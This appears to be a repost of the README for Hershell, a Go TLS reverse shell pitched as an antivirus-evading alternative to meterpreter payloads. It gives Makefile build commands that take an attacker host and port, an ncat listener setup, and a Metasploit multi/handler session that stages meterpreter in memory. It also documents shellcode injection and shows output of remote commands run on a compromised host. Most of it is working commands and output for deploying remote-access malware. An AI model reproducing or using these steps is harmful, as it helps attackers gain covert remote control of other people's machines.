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Hershell

Hershell is a simple TCP reverse shell written in Go. It uses TLS to secure the communications, and provide a certificate public key fingerprint pinning feature, preventing from traffic interception.

Supported OS are:

  • Windows
  • Linux
  • Mac OS
  • FreeBSD and derivatives

Although meterpreter payloads are great, they are sometimes spotted by AV products. Since it’s written in Go, you can cross compile the source for the desired architecture.

Hershell Requirements

As this is a Go project, you will need to follow the official documentation to set up your Golang environment (with the $GOPATH environment variable).

Then, just run go get github.com/sysdream/hershell to fetch the project.

Building the payload

To simplify things, you can use the provided Makefile. You can set the following environment variables:

  • GOOS : the target OS
  • GOARCH : the target architecture
  • LHOST : the attacker IP or domain name
  • LPORT : the listener port

For the GOOS and GOARCH variables, you can get the allowed values here.

However, some helper targets are available in the Makefile:

  • depends : generate the server certificate (required for the reverse shell)
  • windows32 : builds a windows 32 bits executable (PE 32 bits)
  • windows64 : builds a windows 64 bits executable (PE 64 bits)
  • linux32 : builds a linux 32 bits executable (ELF 32 bits)
  • linux64 : builds a linux 64 bits executable (ELF 64 bits)
  • macos32 : builds a mac os 32 bits executable (Mach-O)
  • macos64 : builds a mac os 64 bits executable (Mach-O)

For those targets, you just need to set the LHOST and LPORT environment variables.

Also ReadFirework – Tool To Interact With Microsoft Workplaces Creating Valid Files

Using the shell

Once executed, you will be provided with a remote shell. This custom interactive shell will allow you to execute system commands through cmd.exe on Windows, or /bin/sh on UNIX machines.

The following special commands are supported:

  • run_shell : drops you an system shell (allowing you, for example, to change directories)
  • inject <base64 shellcode> : injects a shellcode (base64 encoded) in the same process memory, and executes it (Windows only at the moment).
  • meterpreter [tcp|http|https] IP:PORT : connects to a multi/handler to get a stage2 reverse tcp, http or https meterpreter from metasploit, and execute the shellcode in memory (Windows only at the moment)
  • exit : exit gracefully

Hershell Usage

First of all, you will need to generate a valid certificate:

$ make depends
openssl req -subj '/CN=yourcn.com/O=YourOrg/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
....................................................................................++
.....++
writing new private key to 'server.key'
-----
cat server.key >> server.pem
For windows:
# Predifined 32 bit target
$ make windows32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make windows64 LHOST=192.168.0.12 LPORT=1234
For Linux:
# Predifined 32 bit target
$ make linux32 LHOST=192.168.0.12 LPORT=1234
# Predifined 64 bit target
$ make linux64 LHOST=192.168.0.12 LPORT=1234
For Mac OS X
$ make macos LHOST=192.168.0.12 LPORT=1234

Examples

Basic usage

One can use various tools to handle incomming connections, such as:

  • socat
  • ncat
  • openssl server module
  • metasploit multi handler (with a python/shell_reverse_tcp_ssl payload)

Here is an example with ncat:

$ ncat --ssl --ssl-cert server.pem --ssl-key server.key -lvp 1234
Ncat: Version 7.60 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 172.16.122.105.
Ncat: Connection from 172.16.122.105:47814.
[hershell]> whoami
desktop-3pvv31a\lab

Meterpreter staging

WARNING: this currently only work for the Windows platform.

The meterpreter staging currently supports the following payloads :

  • windows/meterpreter/reverse_tcp
  • windows/x64/meterpreter/reverse_tcp
  • windows/meterpreter/reverse_http
  • windows/x64/meterpreter/reverse_http
  • windows/meterpreter/reverse_https
  • windows/x64/meterpreter/reverse_https

To use the correct one, just specify the transport you want to use (tcp, http, https)

To use the meterpreter staging feature, just start your handler:

[14:12:45][172.16.122.105][Sessions: 0][Jobs: 0] > use exploit/multi/handler
[14:12:57][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
[14:13:12][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lhost 172.16.122.105
lhost => 172.16.122.105
[14:13:15][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set lport 8443
lport => 8443
[14:13:17][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > set HandlerSSLCert ./server.pem
HandlerSSLCert => ./server.pem
[14:13:26][172.16.122.105][Sessions: 0][Jobs: 0] exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.

[*] [2018.01.29-14:13:29] Started HTTPS reverse handler on https://172.16.122.105:8443
[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >

Then, in hershell, use the meterpreter command:

[hershell]> meterpreter https 172.16.122.105:8443

A new meterpreter session should pop in msfconsole:

[14:13:29][172.16.122.105][Sessions: 0][Jobs: 1] exploit(multi/handler) >
[*] [2018.01.29-14:16:44] https://172.16.122.105:8443 handling request from 172.16.122.105; (UUID: pqzl9t5k) Staging x64 payload (206937 bytes) ...
[*] Meterpreter session 1 opened (172.16.122.105:8443 -> 172.16.122.105:44804) at 2018-01-29 14:16:44 +0100

[14:16:46][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                     Information                            Connection
  --  ----  ----                     -----------                            ----------
  1         meterpreter x64/windows  DESKTOP-3PVV31A\lab @ DESKTOP-3PVV31A  172.16.122.105:8443 -> 172.16.122.105:44804 (10.0.2.15)

[14:16:48][172.16.122.105][Sessions: 1][Jobs: 1] exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: DESKTOP-3PVV31A\lab

Credit: Ronan Kervella